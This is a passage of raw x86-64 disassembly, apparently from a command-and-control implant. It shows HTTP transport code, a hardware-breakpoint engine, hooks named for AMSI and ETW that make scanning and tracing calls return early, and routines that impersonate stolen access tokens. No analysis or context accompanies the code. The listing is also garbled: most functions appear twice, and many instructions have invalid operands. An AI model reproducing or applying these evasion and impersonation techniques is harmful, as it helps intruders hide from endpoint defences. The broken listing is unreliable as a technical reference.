14001532dloc_14001532d:
14001532dmov rcx, [r13+194]
140015334test rcx, rcx
140015337je 0x140015381
140015339mov rsi, [r13+1204]
140015340call StringLengthW
140015345mov r8, [r13+194]
14001534cmov edx, 4098
140015351mov rcx, rbx
140015354mov r9l, eax
140015357call rsi
140015359test eax, eax
14001535bjne 0x140015381
14001535dmov rax, [r13+2230]
140015364mov r8l, 142
14001536alea rdx, [rip+0x17e2f]
140015371lea rcx, [rip+0x14d2d]
140015378mov r9l, [rax+104]
14001537ccall printf
140015381
140015381loc_140015381:
140015381mov rcx, [r13+202]
140015388test rcx, rcx
14001538bje 0x1400155c2
140015391mov rsi, [r13+1204]
140015398call StringLengthW
14001539dmov r8, [r13+202]
1400153a4mov edx, 4099
1400153a9mov rcx, rbx
1400153acmov r9l, eax
1400153afcall rsi
1400153b1test eax, eax
1400153b3jne 0x1400155c2
1400153b9mov rax, [r13+2230]
1400153c0mov r8l, 150
1400153c6lea rdx, [rip+0x17dd3]
1400153cdlea rcx, [rip+0x14d01]
1400153d4mov r9l, [rax+104]
1400153d8call printf
1400153ddjmp 0x1400155c2
1400153e2
1400153e2loc_1400153e2:
1400153e2cmp [r13+24], 0
1400153e7jne 0x1400155c2
1400153edxor r8l, r8l
1400153f0mov rcx, [r13+16]
1400153f4mov rdx, [rsp+72]
1400153f9mov r9, rsi
1400153fclea rdi, [rsp+144]
140015404mov [rsp+152], r8
14001540cmov rax, 0x300000001
140015416mov [rsp+144], rax
14001541emov eax, 1
140015423shl rax, 32
140015427mov [rsp+160], r8
14001542fmov r8, rdi
140015432mov [rsp+168], rax
14001543acall [r13+1268]
140015441mov rbp, [rip+0x16f28]
140015448test eax, eax
14001544aje 0x140015465
14001544cmov r9, [rsp+96]
140015451mov r8l, 175
140015457test r9, r9
14001545ajne 0x140015583
140015460jmp 0x140015596
140015465
140015465loc_140015465:
140015465lea rcx, [rsp+112]
14001546acall [r13+1260]
140015471test eax, eax
140015473je 0x1400155bb
140015479mov rcx, [rsp+128]
140015481test rcx, rcx
140015484je 0x14001550c
14001548acall StringLengthW
14001548ftest rax, rax
140015492je 0x14001550c
140015494mov r9, [rsp+128]
14001549cmov rax, [rsp+136]
1400154a4mov r8l, 194
1400154aalea rdx, [rip+0x17cef]
1400154b1lea rcx, [rip+0x14c6e]
1400154b8mov [rsp+88], 3
1400154c0mov [rsp+96], r9
1400154c5mov [rsp+104], rax
1400154cacall printf
1400154cfmov ecx, 64
1400154d4mov edx, 24
1400154d9mov [r13+36], 24
1400154e1call [r13+932]
1400154e8mov rcx, [r13+36]
1400154ecmov [r13+28], rax
1400154f0mov rdi, rax
1400154f3rep movsb [rdi], [rsi]
1400154f5xor ecx, ecx
1400154f7mov [rsp+128], rcx
1400154ffmov [rsp+136], rcx
140015507jmp 0x1400155bb
14001550c
14001550cloc_14001550c:
14001550cmov rcx, [rsp+120]
140015511test rcx, rcx
140015514je 0x1400155bb
14001551acall StringLengthW
14001551ftest rax, rax
140015522je 0x1400155bb
140015528mov r9, [rsp+120]
14001552dmov r8l, 211
140015533lea rdx, [rip+0x17c66]
14001553alea rcx, [rip+0x14c09]
140015541mov [rsp+144], 2
14001554dmov [rsp+152], r9
140015555call printf
14001555amov rcx, [rbp+16]
14001555emov r9, rsi
140015561mov r8, rdi
140015564mov rdx, [rsp+72]
140015569call [rbp+1268]
14001556ftest eax, eax
140015571je 0x1400155bb
140015573mov r9, [rsp+96]
140015578test r9, r9
14001557bje 0x140015596
14001557dmov r8l, 216
140015583
140015583loc_140015583:
140015583lea rdx, [rip+0x17c16]
14001558alea rcx, [rip+0x14b74]
140015591call printf
140015596
140015596loc_140015596:
140015596mov ecx, 64
14001559bmov [rbp+36], 24
1400155a3mov edx, 24
1400155a8call [rbp+932]
1400155aemov rcx, [rbp+36]
1400155b2mov [rbp+28], rax
1400155b6mov rdi, rax
1400155b9rep movsb [rdi], [rsi]
1400155bb
1400155bbloc_1400155bb:
1400155bbmov [rbp+24], 1
1400155c2
1400155c2loc_1400155c2:
1400155c2mov rbp, [rip+0x16da7]
1400155c9mov r8, [rbp+28]
1400155cdtest r8, r8
1400155d0je 0x14001560c
1400155d2mov r9l, [rbp+36]
1400155d6mov edx, 38
1400155dbmov rcx, rbx
1400155decall [rbp+1204]
1400155e4test eax, eax
1400155e6jne 0x14001560c
1400155e8mov rax, [rbp+2230]
1400155efmov r8l, 239
1400155f5lea rdx, [rip+0x17ba4]
1400155fclea rcx, [rip+0x14a48]
140015603mov r9l, [rax+104]
140015607call printf
14001560c
14001560cloc_14001560c:
14001560cmov eax, [r15+8]
140015610xor edx, edx
140015612xor r8l, r8l
140015615mov rcx, rbx
140015618mov [rsp+48], rdx
14001561dxor edx, edx
14001561fmov [rsp+40], eax
140015623mov [rsp+32], eax
140015627mov r9, [r15]
14001562acall [rbp+1220]
140015630test eax, eax
140015632je 0x140015722
140015638xor edx, edx
14001563amov rcx, rbx
14001563dcall [rbp+1236]
140015643test eax, eax
140015645je 0x14001571b
14001564bmov rcx, rbx
14001564ecall HttpQueryStatus
140015653cmp eax, 200
140015658je 0x14001567f
14001565alea r9, [rip+0x14b35]
140015661mov r8l, 251
140015667lea rdx, [rip+0x17b32]
14001566elea rcx, [rip+0x148cf]
140015675call printf
14001567ajmp 0x140015754
14001567f
14001567floc_14001567f:
14001567ftest r14, r14
140015682je 0x14001571b
140015688lea rax, [rsp+84]
14001568dxor edi, edi
14001568fmov [rsp+72], rax
140015694lea rax, [rsp+176]
14001569cmov r13, rax
14001569f
14001569floc_14001569f:
14001569fmov r9, [rsp+72]
1400156a4mov r8l, 1024
1400156aamov rdx, r13
1400156admov rcx, rbx
1400156b0call [rbp+1244]
1400156b6mov r15l, eax
1400156b9test eax, eax
1400156bbje 0x140015714
1400156bdmov edx, [rsp+84]
1400156c1test edx, edx
1400156c3je 0x140015714
1400156c5test r12, r12
1400156c8jne 0x1400156d7
1400156camov ecx, 64
1400156cfcall [rbp+932]
1400156d5jmp 0x1400156e9
1400156d7
1400156d7loc_1400156d7:
1400156d7add rdx, rdi
1400156damov r8l, 66
1400156e0mov rcx, r12
1400156e3call [rbp+948]
1400156e9
1400156e9loc_1400156e9:
1400156e9mov ecx, [rsp+84]
1400156edmov r12, rax
1400156f0lea rax, [rax+rdi]
1400156f4mov rsi, r13
1400156f7lea rdx, [rcx+rdi]
1400156fbmov rdi, rax
1400156fexor eax, eax
140015700rep movsb [rdi], [rsi]
140015702mov rdi, r13
140015705mov ecx, 1024
14001570arep stosb [rdi], al
14001570cdec r15l
14001570fmov rdi, rdx
140015712je 0x14001569f
140015714
140015714loc_140015714:
140015714mov [r14+8], edi
140015718mov [r14], r12
14001571b
14001571bloc_14001571b:
14001571bmov esi, 1
140015720jmp 0x140015756
140015722
140015722loc_140015722:
140015722mov rax, [rbp+2230]
140015729mov r9l, [rax+104]
14001572dcmp r9l, 12029
140015734jne 0x14001573b
140015736xor eax, eax
140015738mov [rbp+72], eax
14001573b
14001573bloc_14001573b:
14001573bmov r8l, 290
140015741lea rdx, [rip+0x17a58]
140015748lea rcx, [rip+0x14a7b]
14001574fcall printf
140015754
140015754loc_140015754:
140015754xor esi, esi
140015756
140015756loc_140015756:
140015756mov rcx, [rsp+64]
14001575bcall [rbp+1212]
140015761mov rcx, rbx
140015764call [rbp+1212]
14001576a
14001576aloc_14001576a:
14001576amov rcx, [rsp+128]
140015772test rcx, rcx
140015775je 0x140015784
140015777mov rax, [rip+0x16bf2]
14001577ecall [rax+1172]
140015784
140015784loc_140015784:
140015784mov rcx, [rsp+136]
14001578ctest rcx, rcx
14001578fje 0x14001579e
140015791mov rax, [rip+0x16bd8]
140015798call [rax+1172]
14001579e
14001579eloc_14001579e:
14001579emov rcx, [rsp+120]
1400157a3test rcx, rcx
1400157a6je 0x1400157b5
1400157a8mov rax, [rip+0x16bc1]
1400157afcall [rax+1172]
1400157b5
1400157b5loc_1400157b5:
1400157b5mov ecx, 1
1400157bacall TokenImpersonate
1400157bftest esi, esi
1400157c1jne 0x1400157d7
1400157c3mov rbx, [rip+0x16ba6]
1400157camov rcx, [rbx+104]
1400157cecall HostFailure
1400157d3mov [rbx+104], rax
1400157d7
1400157d7loc_1400157d7:
1400157d7add rsp, 1208
1400157demov eax, esi
1400157e0pop rbx
1400157e1pop rsi
1400157e2pop rdi
1400157e3pop rbp
1400157e4pop r12
1400157e6pop r13
1400157e8pop r14
1400157eapop r15
1400157ecret
140015000
1400157ed
1400157ed // align 0x10
1400157ed // align 0x10
1400157f0
1400157f0HwBpEngineAdd:
1400157f0push r15
1400157f2push r14
1400157f4push r13
1400157f6push r12
1400157f8mov r12, r9
1400157fbpush rbp
1400157fcmov ebp, edx
1400157fepush rdi
1400157ffmov rdi, r8
140015802push rsi
140015803mov rsi, rcx
140015806push rbx
140015807sub rsp, 72
14001580bmov r15l, [rsp+176]
140015813mov [rsp+48], r9
140015818mov r9, rcx
14001581blea rcx, [rip+0x127e4]
140015822mov [rsp+40], r8
140015827mov r8l, 162
14001582dmovzx r14l, r15b
140015831mov [rsp+32], edx
140015835lea rdx, [rip+0x16fb4]
14001583cmov [rsp+56], r14l
140015841call printf
140015846test rsi, rsi
140015849jne 0x140015867
14001584bmov rax, [rip+0x16b1e]
140015852mov rsi, [rax+2342]
140015859mov eax, 0xffffffffc000000d
14001585etest rsi, rsi
140015861je 0x140015946
140015867
140015867loc_140015867:
140015867test rdi, rdi
14001586aje 0x140015941
140015870test r12, r12
140015873je 0x140015941
140015879mov r13, [rip+0x16af0]
140015880mov r8l, 40
140015886mov edx, 8
14001588bmov rax, [r13+2230]
140015892mov rax, [rax+96]
140015896mov rcx, [rax+48]
14001589acall [r13+316]
1400158a1mov r8l, r14l
1400158a4mov rdx, rdi
1400158a7mov ecx, ebp
1400158a9mov [rax], ebp
1400158abmov rbx, rax
1400158aemov r9l, 1
1400158b4mov [rax+8], rdi
1400158b8mov [rax+16], r12
1400158bcmov [rax+24], r15b
1400158c0mov rax, [rsi+16]
1400158c4mov [rbx+32], rax
1400158c8call HwBpEngineSetBp
1400158cdtest eax, eax
1400158cfjns 0x140015913
1400158d1lea r9, [rip+0x1277d]
1400158d8mov r8l, 189
1400158delea rdx, [rip+0x16f0b]
1400158e5lea rcx, [rip+0x12792]
1400158eccall printf
1400158f1mov rax, [r13+2230]
1400158f8mov r8, rbx
1400158fbxor edx, edx
1400158fdmov rax, [rax+96]
140015901mov rcx, [rax+48]
140015905call [r13+332]
14001590cmov eax, 0xffffffffc0000001
140015911jmp 0x140015946
140015913
140015913loc_140015913:
140015913mov [rsp+40], r14l
140015918mov r9l, ebp
14001591bmov r8l, 192
140015921lea rdx, [rip+0x16ec8]
140015928mov [rsp+32], rdi
14001592dlea rcx, [rip+0x1275e]
140015934call printf
140015939mov [rsi+16], rbx
14001593dxor eax, eax
14001593fjmp 0x140015946
140015941
140015941loc_140015941:
140015941mov eax, 0xffffffffc000000d
140015946
140015946loc_140015946:
140015946add rsp, 72
14001594apop rbx
14001594bpop rsi
14001594cpop rdi
14001594dpop rbp
14001594epop r12
140015950pop r13
140015952pop r14
140015954pop r15
140015956ret
1400157f0
1400157f0HwBpEngineAdd:
1400157f0push r15
1400157f2push r14
1400157f4push r13
1400157f6push r12
1400157f8mov r12, r9
1400157fbpush rbp
1400157fcmov ebp, edx
1400157fepush rdi
1400157ffmov rdi, r8
140015802push rsi
140015803mov rsi, rcx
140015806push rbx
140015807sub rsp, 72
14001580bmov r15l, [rsp+176]
140015813mov [rsp+48], r9
140015818mov r9, rcx
14001581blea rcx, [rip+0x127e4]
140015822mov [rsp+40], r8
140015827mov r8l, 162
14001582dmovzx r14l, r15b
140015831mov [rsp+32], edx
140015835lea rdx, [rip+0x16fb4]
14001583cmov [rsp+56], r14l
140015841call printf
140015846test rsi, rsi
140015849jne 0x140015867
14001584bmov rax, [rip+0x16b1e]
140015852mov rsi, [rax+2342]
140015859mov eax, 0xffffffffc000000d
14001585etest rsi, rsi
140015861je 0x140015946
140015867
140015867loc_140015867:
140015867test rdi, rdi
14001586aje 0x140015941
140015870test r12, r12
140015873je 0x140015941
140015879mov r13, [rip+0x16af0]
140015880mov r8l, 40
140015886mov edx, 8
14001588bmov rax, [r13+2230]
140015892mov rax, [rax+96]
140015896mov rcx, [rax+48]
14001589acall [r13+316]
1400158a1mov r8l, r14l
1400158a4mov rdx, rdi
1400158a7mov ecx, ebp
1400158a9mov [rax], ebp
1400158abmov rbx, rax
1400158aemov r9l, 1
1400158b4mov [rax+8], rdi
1400158b8mov [rax+16], r12
1400158bcmov [rax+24], r15b
1400158c0mov rax, [rsi+16]
1400158c4mov [rbx+32], rax
1400158c8call HwBpEngineSetBp
1400158cdtest eax, eax
1400158cfjns 0x140015913
1400158d1lea r9, [rip+0x1277d]
1400158d8mov r8l, 189
1400158delea rdx, [rip+0x16f0b]
1400158e5lea rcx, [rip+0x12792]
1400158eccall printf
1400158f1mov rax, [r13+2230]
1400158f8mov r8, rbx
1400158fbxor edx, edx
1400158fdmov rax, [rax+96]
140015901mov rcx, [rax+48]
140015905call [r13+332]
14001590cmov eax, 0xffffffffc0000001
140015911jmp 0x140015946
140015913
140015913loc_140015913:
140015913mov [rsp+40], r14l
140015918mov r9l, ebp
14001591bmov r8l, 192
140015921lea rdx, [rip+0x16ec8]
140015928mov [rsp+32], rdi
14001592dlea rcx, [rip+0x1275e]
140015934call printf
140015939mov [rsi+16], rbx
14001593dxor eax, eax
14001593fjmp 0x140015946
140015941
140015941loc_140015941:
140015941mov eax, 0xffffffffc000000d
140015946
140015946loc_140015946:
140015946add rsp, 72
14001594apop rbx
14001594bpop rsi
14001594cpop rdi
14001594dpop rbp
14001594epop r12
140015950pop r13
140015952pop r14
140015954pop r15
140015956ret
1400157f0
140015957
140015957 // align 0x10
140015957 // align 0x10
140015960
140015960HwBpEngineDestroy:
140015960push r14
140015962push r13
140015964push r12
140015966push rbp
140015967push rdi
140015968push rsi
140015969push rbx
14001596amov rbx, rcx
14001596dsub rsp, 32
140015971test rcx, rcx
140015974mov rsi, [rip+0x169f5]
14001597bjne 0x140015992
14001597dmov rbx, [rsi+2342]
140015984mov eax, 0xffffffffc000000d
140015989test rbx, rbx
14001598cje 0x140015a24
140015992
140015992loc_140015992:
140015992mov rcx, [rbx]
140015995xor r12l, r12l
140015998mov r14l, 40
14001599ecall [rsi+436]
1400159a4mov rbp, [rbx+16]
1400159a8
1400159a8loc_1400159a8:
1400159a8test rbp, rbp
1400159abje 0x1400159f2
1400159admov ecx, [rbp]
1400159b0mov rdx, [rbp+8]
1400159b4mov r9l, 1
1400159bamov rdi, rbp
1400159bdmovzx r8l, [rbp+24]
1400159c2mov r13, [rbp+32]
1400159c6call HwBpEngineSetBp
1400159cbmov rcx, r14
1400159cemov eax, r12l
1400159d1rep stosb [rdi], al
1400159d3mov rax, [rsi+2230]
1400159damov r8, rbp
1400159ddxor edx, edx
1400159dfmov rbp, r13
1400159e2mov rax, [rax+96]
1400159e6mov rcx, [rax+48]
1400159eacall [rsi+332]
1400159f0jmp 0x1400159a8
1400159f2
1400159f2loc_1400159f2:
1400159f2cmp [rsi+2342], rbx
1400159f9je 0x1400159ff
1400159fb
1400159fbloc_1400159fb:
1400159fbxor eax, eax
1400159fdjmp 0x140015a24
1400159ff
1400159ffloc_1400159ff:
1400159ffmov rax, [rsi+2230]
140015a06mov r8, rbx
140015a09xor edx, edx
140015a0bmov rax, [rax+96]
140015a0fmov rcx, [rax+48]
140015a13call [rsi+332]
140015a19xor eax, eax
140015a1bmov [rsi+2342], rax
140015a22jmp 0x1400159fb
140015a24
140015a24loc_140015a24:
140015a24add rsp, 32
140015a28pop rbx
140015a29pop rsi
140015a2apop rdi
140015a2bpop rbp
140015a2cpop r12
140015a2epop r13
140015a30pop r14
140015a32ret
140015960
140015960HwBpEngineDestroy:
140015960push r14
140015962push r13
140015964push r12
140015966push rbp
140015967push rdi
140015968push rsi
140015969push rbx
14001596amov rbx, rcx
14001596dsub rsp, 32
140015971test rcx, rcx
140015974mov rsi, [rip+0x169f5]
14001597bjne 0x140015992
14001597dmov rbx, [rsi+2342]
140015984mov eax, 0xffffffffc000000d
140015989test rbx, rbx
14001598cje 0x140015a24
140015992
140015992loc_140015992:
140015992mov rcx, [rbx]
140015995xor r12l, r12l
140015998mov r14l, 40
14001599ecall [rsi+436]
1400159a4mov rbp, [rbx+16]
1400159a8
1400159a8loc_1400159a8:
1400159a8test rbp, rbp
1400159abje 0x1400159f2
1400159admov ecx, [rbp]
1400159b0mov rdx, [rbp+8]
1400159b4mov r9l, 1
1400159bamov rdi, rbp
1400159bdmovzx r8l, [rbp+24]
1400159c2mov r13, [rbp+32]
1400159c6call HwBpEngineSetBp
1400159cbmov rcx, r14
1400159cemov eax, r12l
1400159d1rep stosb [rdi], al
1400159d3mov rax, [rsi+2230]
1400159damov r8, rbp
1400159ddxor edx, edx
1400159dfmov rbp, r13
1400159e2mov rax, [rax+96]
1400159e6mov rcx, [rax+48]
1400159eacall [rsi+332]
1400159f0jmp 0x1400159a8
1400159f2
1400159f2loc_1400159f2:
1400159f2cmp [rsi+2342], rbx
1400159f9je 0x1400159ff
1400159fb
1400159fbloc_1400159fb:
1400159fbxor eax, eax
1400159fdjmp 0x140015a24
1400159ff
1400159ffloc_1400159ff:
1400159ffmov rax, [rsi+2230]
140015a06mov r8, rbx
140015a09xor edx, edx
140015a0bmov rax, [rax+96]
140015a0fmov rcx, [rax+48]
140015a13call [rsi+332]
140015a19xor eax, eax
140015a1bmov [rsi+2342], rax
140015a22jmp 0x1400159fb
140015a24
140015a24loc_140015a24:
140015a24add rsp, 32
140015a28pop rbx
140015a29pop rsi
140015a2apop rdi
140015a2bpop rbp
140015a2cpop r12
140015a2epop r13
140015a30pop r14
140015a32ret
140015960
140015a33
140015a33 // align 0x10
140015a33 // align 0x10
140015a40
140015a40HwBpEngineInit:
140015a40push rsi
140015a41mov rax, rcx
140015a44push rbx
140015a45sub rsp, 40
140015a49or rax, rdx
140015a4cmov rsi, [rip+0x1691d]
140015a53jne 0x140015a66
140015a55cmp [rsi+2342], 0
140015a5dmov edx, 0xffffffffc000000d
140015a62je 0x140015a6e
140015a64jmp 0x140015abd
140015a66
140015a66loc_140015a66:
140015a66mov rbx, rcx
140015a69test rcx, rcx
140015a6cjne 0x140015a9f
140015a6e
140015a6eloc_140015a6e:
140015a6emov rax, [rsi+2230]
140015a75mov edx, 8
140015a7amov r8l, 24
140015a80mov rax, [rax+96]
140015a84mov rcx, [rax+48]
140015a88call [rsi+316]
140015a8elea rdx, [rip-10853]
140015a95mov [rsi+2342], rax
140015a9cmov rbx, rax
140015a9f
140015a9floc_140015a9f:
140015a9fmov ecx, 1
140015aa4call [rsi+428]
140015aaamov edx, 0xffffffffc0000001
140015aafmov [rbx], rax
140015ab2test rax, rax
140015ab5je 0x140015abd
140015ab7mov [rbx+8], 1
140015abbxor edx, edx
140015abd
140015abdloc_140015abd:
140015abdadd rsp, 40
140015ac1mov eax, edx
140015ac3pop rbx
140015ac4pop rsi
140015ac5ret
140015a40
140015a40HwBpEngineInit:
140015a40push rsi
140015a41mov rax, rcx
140015a44push rbx
140015a45sub rsp, 40
140015a49or rax, rdx
140015a4cmov rsi, [rip+0x1691d]
140015a53jne 0x140015a66
140015a55cmp [rsi+2342], 0
140015a5dmov edx, 0xffffffffc000000d
140015a62je 0x140015a6e
140015a64jmp 0x140015abd
140015a66
140015a66loc_140015a66:
140015a66mov rbx, rcx
140015a69test rcx, rcx
140015a6cjne 0x140015a9f
140015a6e
140015a6eloc_140015a6e:
140015a6emov rax, [rsi+2230]
140015a75mov edx, 8
140015a7amov r8l, 24
140015a80mov rax, [rax+96]
140015a84mov rcx, [rax+48]
140015a88call [rsi+316]
140015a8elea rdx, [rip-10853]
140015a95mov [rsi+2342], rax
140015a9cmov rbx, rax
140015a9f
140015a9floc_140015a9f:
140015a9fmov ecx, 1
140015aa4call [rsi+428]
140015aaamov edx, 0xffffffffc0000001
140015aafmov [rbx], rax
140015ab2test rax, rax
140015ab5je 0x140015abd
140015ab7mov [rbx+8], 1
140015abbxor edx, edx
140015abd
140015abdloc_140015abd:
140015abdadd rsp, 40
140015ac1mov eax, edx
140015ac3pop rbx
140015ac4pop rsi
140015ac5ret
140015a40
140015ac6
140015ac6 // align 0x10
140015ac6 // align 0x10
140015ad0
140015ad0HwBpEngineSetBp:
140015ad0push rbp
140015ad1xor eax, eax
140015ad3mov r10l, ecx
140015ad6mov ecx, 308
140015adbmov rbp, rsp
140015adepush r13
140015ae0mov r13l, r9l
140015ae3push r12
140015ae5mov r12, rdx
140015ae8xor edx, edx
140015aeapush rdi
140015aebpush rsi
140015aecpush rbx
140015aedmov ebx, r8l
140015af0and rsp, -16
140015af4sub rsp, 1376
140015afbmov [rsp+72], rdx
140015b00lea r9, [rsp+80]
140015b05lea r8, [rsp+96]
140015b0amov edx, 0x1fffff
140015b0flea rdi, [rsp+144]
140015b17mov [rsp+96], 48
140015b1frep stosd [rdi], eax
140015b21lea rdi, [rsp+100]
140015b26mov ecx, 11
140015b2brep stosd [rdi], eax
140015b2dmov rax, [rip+0x1683c]
140015b34lea rcx, [rsp+72]
140015b39mov eax, [rax+76]
140015b3cmov [rsp+80], rax
140015b41mov eax, r10l
140015b44mov [rsp+88], rax
140015b49call SysNtOpenThread
140015b4etest eax, eax
140015b50js 0x140015c72
140015b56mov rcx, [rsp+72]
140015b5blea rdi, [rsp+144]
140015b63mov [rsp+192], 0x100010
140015b6emov rdx, rdi
140015b71call SysNtGetContextThread
140015b76mov esi, eax
140015b78test eax, eax
140015b7ajs 0x140015c74
140015b80movzx eax, bl
140015b83lea rsi, [rsp+8*rax+216]
140015b8btest r13b, r13b
140015b8eje 0x140015bd4
140015b90movzx ebx, bl
140015b93mov edx, 3
140015b98mov [rsi], r12
140015b9blea r8l, [4*rbx+16]
140015ba3mov rax, rdx
140015ba6add ebx, ebx
140015ba8lea ecx, [r8+2]
140015bacshl rax, cl
140015bafmov ecx, r8l
140015bb2shl rdx, cl
140015bb5or rax, rdx
140015bb8not rax
140015bbband rax, [rsp+256]
140015bc3bts rax, rbx
140015bc7mov [rsp+256], rax
140015bcfjmp 0x140015c5d
140015bd4
140015bd4loc_140015bd4:
140015bd4cmp r12, [rsi]
140015bd7jne 0x140015c5d
140015bddmov [rsp+32], r12
140015be2movzx r9l, bl
140015be6mov rax, [rsp+256]
140015beelea r12, [rip+0x1709b]
140015bf5lea rbx, [rip+0x12344]
140015bfcmov r8l, 105
140015c02mov rdx, r12
140015c05mov [rsp+60], r9l
140015c0amov [rsp+40], rax
140015c0fmov rcx, rbx
140015c12call printf
140015c17mov r9l, [rsp+60]
140015c1cxor eax, eax
140015c1emov rdx, r12
140015c21mov [rsi], rax
140015c24mov rax, -2
140015c2bmov r8l, 116
140015c31lea ecx, [r9+r9]
140015c35rol rax, cl
140015c38and rax, [rsp+256]
140015c40mov rcx, rbx
140015c43mov [rsp+256], rax
140015c4bmov [rsp+40], rax
140015c50mov rax, [rsi]
140015c53mov [rsp+32], rax
140015c58call printf
140015c5d
140015c5dloc_140015c5d:
140015c5dmov rcx, [rsp+72]
140015c62mov rdx, rdi
140015c65call SysNtSetContextThread
140015c6amov esi, eax
140015c6ctest eax, eax
140015c6ejns 0x140015c83
140015c70jmp 0x140015c74
140015c72
140015c72loc_140015c72:
140015c72xor esi, esi
140015c74
140015c74loc_140015c74:
140015c74mov rcx, [rsp+72]
140015c79test rcx, rcx
140015c7cje 0x140015c83
140015c7ecall SysNtClose
140015c83
140015c83loc_140015c83:
140015c83lea rsp, [rbp-40]
140015c87mov eax, esi
140015c89pop rbx
140015c8apop rsi
140015c8bpop rdi
140015c8cpop r12
140015c8epop r13
140015c90pop rbp
140015c91ret
140015ad0
140015ad0HwBpEngineSetBp:
140015ad0push rbp
140015ad1xor eax, eax
140015ad3mov r10l, ecx
140015ad6mov ecx, 308
140015adbmov rbp, rsp
140015adepush r13
140015ae0mov r13l, r9l
140015ae3push r12
140015ae5mov r12, rdx
140015ae8xor edx, edx
140015aeapush rdi
140015aebpush rsi
140015aecpush rbx
140015aedmov ebx, r8l
140015af0and rsp, -16
140015af4sub rsp, 1376
140015afbmov [rsp+72], rdx
140015b00lea r9, [rsp+80]
140015b05lea r8, [rsp+96]
140015b0amov edx, 0x1fffff
140015b0flea rdi, [rsp+144]
140015b17mov [rsp+96], 48
140015b1frep stosd [rdi], eax
140015b21lea rdi, [rsp+100]
140015b26mov ecx, 11
140015b2brep stosd [rdi], eax
140015b2dmov rax, [rip+0x1683c]
140015b34lea rcx, [rsp+72]
140015b39mov eax, [rax+76]
140015b3cmov [rsp+80], rax
140015b41mov eax, r10l
140015b44mov [rsp+88], rax
140015b49call SysNtOpenThread
140015b4etest eax, eax
140015b50js 0x140015c72
140015b56mov rcx, [rsp+72]
140015b5blea rdi, [rsp+144]
140015b63mov [rsp+192], 0x100010
140015b6emov rdx, rdi
140015b71call SysNtGetContextThread
140015b76mov esi, eax
140015b78test eax, eax
140015b7ajs 0x140015c74
140015b80movzx eax, bl
140015b83lea rsi, [rsp+8*rax+216]
140015b8btest r13b, r13b
140015b8eje 0x140015bd4
140015b90movzx ebx, bl
140015b93mov edx, 3
140015b98mov [rsi], r12
140015b9blea r8l, [4*rbx+16]
140015ba3mov rax, rdx
140015ba6add ebx, ebx
140015ba8lea ecx, [r8+2]
140015bacshl rax, cl
140015bafmov ecx, r8l
140015bb2shl rdx, cl
140015bb5or rax, rdx
140015bb8not rax
140015bbband rax, [rsp+256]
140015bc3bts rax, rbx
140015bc7mov [rsp+256], rax
140015bcfjmp 0x140015c5d
140015bd4
140015bd4loc_140015bd4:
140015bd4cmp r12, [rsi]
140015bd7jne 0x140015c5d
140015bddmov [rsp+32], r12
140015be2movzx r9l, bl
140015be6mov rax, [rsp+256]
140015beelea r12, [rip+0x1709b]
140015bf5lea rbx, [rip+0x12344]
140015bfcmov r8l, 105
140015c02mov rdx, r12
140015c05mov [rsp+60], r9l
140015c0amov [rsp+40], rax
140015c0fmov rcx, rbx
140015c12call printf
140015c17mov r9l, [rsp+60]
140015c1cxor eax, eax
140015c1emov rdx, r12
140015c21mov [rsi], rax
140015c24mov rax, -2
140015c2bmov r8l, 116
140015c31lea ecx, [r9+r9]
140015c35rol rax, cl
140015c38and rax, [rsp+256]
140015c40mov rcx, rbx
140015c43mov [rsp+256], rax
140015c4bmov [rsp+40], rax
140015c50mov rax, [rsi]
140015c53mov [rsp+32], rax
140015c58call printf
140015c5d
140015c5dloc_140015c5d:
140015c5dmov rcx, [rsp+72]
140015c62mov rdx, rdi
140015c65call SysNtSetContextThread
140015c6amov esi, eax
140015c6ctest eax, eax
140015c6ejns 0x140015c83
140015c70jmp 0x140015c74
140015c72
140015c72loc_140015c72:
140015c72xor esi, esi
140015c74
140015c74loc_140015c74:
140015c74mov rcx, [rsp+72]
140015c79test rcx, rcx
140015c7cje 0x140015c83
140015c7ecall SysNtClose
140015c83
140015c83loc_140015c83:
140015c83lea rsp, [rbp-40]
140015c87mov eax, esi
140015c89pop rbx
140015c8apop rsi
140015c8bpop rdi
140015c8cpop r12
140015c8epop r13
140015c90pop rbp
140015c91ret
140015ad0
140015c92
140015c92 // align 0x10
140015c92 // align 0x10
140015ca0
140015ca0HwBpExAmsiScanBuffer:
140015ca0mov rax, [rcx+8]
140015ca4xor edx, edx
140015ca6mov rax, [rax+152]
140015cadmov [rax+40], rdx
140015cb1mov rax, [rcx+8]
140015cb5mov edx, 0xffffffff80070057
140015cbamov [rax+120], rdx
140015cbemov rdx, [rax+152]
140015cc5mov rcx, [rdx]
140015cc8add rdx, 8
140015cccmov [rax+152], rdx
140015cd3mov [rax+248], rcx
140015cdaret
140015ca0
140015ca0HwBpExAmsiScanBuffer:
140015ca0mov rax, [rcx+8]
140015ca4xor edx, edx
140015ca6mov rax, [rax+152]
140015cadmov [rax+40], rdx
140015cb1mov rax, [rcx+8]
140015cb5mov edx, 0xffffffff80070057
140015cbamov [rax+120], rdx
140015cbemov rdx, [rax+152]
140015cc5mov rcx, [rdx]
140015cc8add rdx, 8
140015cccmov [rax+152], rdx
140015cd3mov [rax+248], rcx
140015cdaret
140015ca0
140015cdb
140015cdb // align 0x10
140015cdb // align 0x10
140015ce0
140015ce0HwBpExNtTraceEvent:
140015ce0mov rdx, [rcx+8]
140015ce4mov rax, [rdx+152]
140015cebmov rcx, [rax]
140015ceeadd rax, 8
140015cf2mov [rdx+152], rax
140015cf9mov [rdx+248], rcx
140015d00ret
140015ce0
140015ce0HwBpExNtTraceEvent:
140015ce0mov rdx, [rcx+8]
140015ce4mov rax, [rdx+152]
140015cebmov rcx, [rax]
140015ceeadd rax, 8
140015cf2mov [rdx+152], rax
140015cf9mov [rdx+248], rcx
140015d00ret
140015ce0
140015d01
140015d01 // align 0x10
140015d01 // align 0x10
140015d10
140015d10ImpersonateTokenFromVault:
140015d10sub rsp, 40
140015d14call TokenGet
140015d19test rax, rax
140015d1cjne 0x140015d51
140015d1elea r9, [rip+0x140f3]
140015d25mov r8l, 1266
140015d2blea rdx, [rip+0x1700e]
140015d32lea rcx, [rip+0x13c8f]
140015d39call printf
140015d3emov edx, 1
140015d43mov ecx, 3
140015d48call PackageTransmitError
140015d4dxor eax, eax
140015d4fjmp 0x140015d61
140015d51
140015d51loc_140015d51:
140015d51mov rcx, rax
140015d54call ImpersonateTokenInStore
140015d59test eax, eax
140015d5bsetne al
140015d5emovzx eax, al
140015d61
140015d61loc_140015d61:
140015d61add rsp, 40
140015d65ret
140015d10
140015d10ImpersonateTokenFromVault:
140015d10sub rsp, 40
140015d14call TokenGet
140015d19test rax, rax
